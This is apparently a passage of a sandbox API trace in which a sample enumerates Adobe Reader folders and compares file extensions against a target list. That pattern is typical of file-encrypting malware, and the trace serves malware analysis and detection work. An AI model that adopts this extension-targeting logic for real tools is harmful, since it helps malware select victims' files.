	[0175.032] lstrlenW (lpString=".dot") returned 4
	[0175.032] lstrcmpiW (lpString1=".dot", lpString2="r.js") returned -1
	[0175.032] lstrlenW (lpString=".dotm") returned 5
	[0175.032] lstrcmpiW (lpString1=".dotm", lpString2="or.js") returned -1
	[0175.032] lstrlenW (lpString=".dotx") returned 5
	[0175.032] lstrcmpiW (lpString1=".dotx", lpString2="or.js") returned -1
	[0175.032] lstrlenW (lpString=".dpx") returned 4
	[0175.032] lstrcmpiW (lpString1=".dpx", lpString2="r.js") returned -1
	[0175.032] lstrlenW (lpString=".dqy") returned 4
	[0175.032] lstrcmpiW (lpString1=".dqy", lpString2="r.js") returned -1
	[0175.032] lstrlenW (lpString=".dsn") returned 4
	[0175.032] lstrcmpiW (lpString1=".dsn", lpString2="r.js") returned -1
	[0175.032] lstrlenW (lpString=".dt") returned 3
	[0175.032] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0175.032] lstrlenW (lpString=".dtd") returned 4
	[0175.032] lstrcmpiW (lpString1=".dtd", lpString2="r.js") returned -1
	[0175.032] lstrlenW (lpString=".dwg") returned 4
	[0175.032] lstrcmpiW (lpString1=".dwg", lpString2="r.js") returned -1
	[0175.032] lstrlenW (lpString=".dwt") returned 4
	[0175.032] lstrcmpiW (lpString1=".dwt", lpString2="r.js") returned -1
	[0175.032] lstrlenW (lpString=".dx") returned 3
	[0175.032] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0175.032] lstrlenW (lpString=".dxf") returned 4
	[0175.032] lstrcmpiW (lpString1=".dxf", lpString2="r.js") returned -1
	[0175.032] lstrlenW (lpString=".edml") returned 5
	[0175.032] lstrcmpiW (lpString1=".edml", lpString2="or.js") returned -1
	[0175.032] lstrlenW (lpString=".efd") returned 4
	[0175.032] lstrcmpiW (lpString1=".efd", lpString2="r.js") returned -1
	[0175.032] lstrlenW (lpString=".elf") returned 4
	[0175.032] lstrcmpiW (lpString1=".elf", lpString2="r.js") returned -1
	[0175.032] lstrlenW (lpString=".emf") returned 4
	[0175.032] lstrcmpiW (lpString1=".emf", lpString2="r.js") returned -1
	[0175.033] lstrlenW (lpString=".emz") returned 4
	[0175.033] lstrcmpiW (lpString1=".emz", lpString2="r.js") returned -1
	[0175.033] lstrlenW (lpString=".epf") returned 4
	[0175.033] lstrcmpiW (lpString1=".epf", lpString2="r.js") returned -1
	[0175.033] lstrlenW (lpString=".eps") returned 4
	[0175.033] lstrcmpiW (lpString1=".eps", lpString2="r.js") returned -1
	[0175.033] lstrlenW (lpString=".epsf") returned 5
	[0175.033] lstrcmpiW (lpString1=".epsf", lpString2="or.js") returned -1
	[0175.033] lstrlenW (lpString=".epsp") returned 5
	[0175.033] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0175.033] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0175.033] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0175.033] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0175.033] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-files", cAlternateFileName="")) returned 1
	[0175.033] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files") returned 103
	[0175.080] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0175.081] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0175.081] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images") returned 110
	[0175.084] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.084] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0d074e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0175.084] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0175.084] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.084] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0175.084] FindClose (in: hFindFile=0x4140c98 | out: hFindFile=0x4140c98) returned 1
	[0175.084] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0175.084] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0175.534] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.535] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0175.535] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.535] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0175.535] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.536] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0175.536] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.536] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0175.536] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.536] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0175.536] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.536] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0175.536] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.536] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0175.537] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.537] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0175.537] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.537] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0175.537] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.537] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0175.537] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.537] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0175.537] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.537] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0175.538] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.538] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0175.538] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.538] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0175.538] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.538] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0175.538] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.538] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0175.538] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.538] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0175.539] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.539] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0175.539] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.539] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0175.539] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.539] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0175.539] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.539] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0175.539] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.539] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0175.540] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.540] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0175.540] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.540] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0175.540] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.540] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0175.540] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.540] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0175.541] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.541] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0175.541] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.541] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0175.541] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.541] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
